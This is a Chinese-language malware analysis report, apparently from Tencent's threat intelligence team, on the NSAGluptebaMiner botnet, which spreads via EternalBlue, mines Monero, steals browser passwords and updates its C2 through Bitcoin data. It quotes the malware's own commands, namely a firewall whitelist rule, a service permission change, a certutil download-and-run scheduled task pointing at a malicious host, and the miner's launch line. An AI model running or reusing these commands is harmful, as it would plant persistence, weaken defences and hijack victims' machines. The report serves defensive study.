挖矿僵尸网络 NSAGluptebaMiner 利用永恒之蓝漏洞传播

感谢腾讯御见威胁情报中心来稿！

原文链接：https://mp.weixin.qq.com/s/mdgGiYwb722GuE6QtJTzPQ

一、概述

腾讯安全威胁情报中心检测到挖矿僵尸网络NSAGluptebaMiner变种正在利用永恒之蓝漏洞攻击传播。目前该僵尸网络会控制机器进行门罗币挖矿和搜集用户隐私数据，并具有远程执行命令的功能，同时还会利用比特币交易数据更新C2。

cloudnet.exe原来是Glupteba恶意木马，Glupteba最早作为Operation Windigo组织用于部署僵尸网络中的一部分首次出现，2018年6月腾讯安全威胁情报中心发现cloudnet.exe开始作为挖矿僵尸网络NSAGluptebaMiner的组件传播。

当前NSAGluptebaMiner版本具有以下特征：

1. 利用永恒之蓝漏洞攻击传播；
2. 安装计划任务实现持久化，任务利用certutil.exe下载木马；
3. 利用密码提取器updateprofile.exe搜集浏览器记录的账号密码并上传；
4. 绕过UAC，以管理员权限和系统权限运行，将木马程序加入防火墙策略白名单、Windows Defender查杀白名单；
5. 安装驱动Winmon.sys、WinmonFS.sys、WinmonProcessMonitor.sys对木马进行保护；
6. 运行门罗币挖矿程序wup.exe；
7. 利用组件cloudnet.exe构建僵尸网络；
8. 连接远程服务器，接收指令完成远控操作；
9. 通过比特币交易数据更新C2地址。

二、详细分析

漏洞攻击成功后，Payload首先下载app.exe在内存中执行PE文件，并且将该文件释放到C:/Windows/rss/csrss.exe，csrss.exe是一个木马下载器，采用Go编程语言编写。

下载器首先获取当前应用程序信息、安装杀软信息、操作系统信息、硬件GPU、是否Admin用户，以及一些以二进制形式硬编码的信息来初始化“配置信息”，然后创建一个注册表项HKEY_CURRENT_USER/Software/Microsoft/<random>（8位随机字符）来存储所有获取的信息。（之前注册表为HKEY_USERS/ <sid>/Software/Microsoft/TestApp）

首先会检测是否在虚拟机中执行。

然后判断是否是系统权限，如果不是则通过以TrustedInstaller运行自己提高权限。

在”C:/Windows/System32/drivers/”目录下释放三个隐藏的sys文件，并加载对应的驱动程序：

• Winmon.sys用于隐藏对应PID进程；
• WinmonFS.sys隐藏指定文件或目录；
• WinmonProcessMonitor.sys查找指定进程，并关闭。

维护以系统服务的方式启动的木马（检查服务、下载安装服务、更新服务、删除服务）。

下载永恒之蓝漏洞漏洞利用程序，利用漏洞攻击局域网机器。

下载矿机和挖矿代理配置信息。

获取Glupteba僵尸网络代理程序Cloudnet.exe使用的下载地址和hash。

在handleCommand函数中实现后门功能，包括下载文件、程序执行等。

各函数及对应操作如下：

设置防火墙规则，将csrss.exe添加到白名单：

`netsh advfirewall firewall add rule name=”csrss” dir=in action=allow program=”C:/Windows/rss/csrss.exe” enable=yes`

写入windows defender规则，添Winmon、WinmonFS、WinmonProcessMonitor加到白名单：

cmd.exe /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

安装名为“ScheduledUpdate”的计划任务，任务内容为：每当用户登陆时，利用certutil.exe下载app.exe，保存为scheduled.exe并运行：

`schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR “cmd.exe /C certutil.exe -urlcache -split -f https[:]//biggames.online/app/app.exe C:/Users/admin/AppData/Local/Temp/csrss/scheduled.exe && C:/Users/admin/AppData/Local/Temp/csrss/scheduled.exe /31340” /TN ScheduledUpdate /F`

灵活更新C2：

通过公开的列表查询Electrum比特币钱包服务器，使用硬编码的hash值查询对应的区块链脚本hash记录，对返回的数据进行AES解密得到新的C2地址。

组件updateprofile.exe为密码提取器，也使用Go编写，并使用UPX壳保护。
运行后搜集包括Chrome，Opera和Yandex浏览器的cookie、历史记录和其他配置文件中的账号密码，打包上传到远程服务器。

组件cloudnet.exe负责构建僵尸网络， 会读取注册表中存放的UUID进行校验，在注册表“HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/CloudNet”下写入文件版本、路径等信息，移动自身到“/cloudnet/”文件夹下，连接C2服务器，接收远控指令。

组件wup.exe负责挖矿门罗币，csrss.exe启动wup.exe时传递参数

`C:/Users/Administrator/AppData/Local/Temp/wup/wup.exe -o stratum+tcp[:]//premiumprice.shop:50001 -u d244dab5-f080-4e0d-a79c-4eeb169b351b -p x –nicehash -k –api-port=3433 –api-access-token=d244dab5-f080-4e0d-a79c-4eeb169b351b –http-port=3433 –http-access-token=d244dab5-f080-4e0d-a79c-4eeb169b351b –donate-level=1 –randomx-wrmsr=-1 –background`

Temp目录下的wup.exe负责下载矿机程序和挖矿配置文件，最后执行另一同名文件C:/Users/Administrator/AppData/Local/Temp/csrss/wup/xarch/wup.exe开启挖矿，该文件由开源挖矿程序XMRig编译。

三、安全建议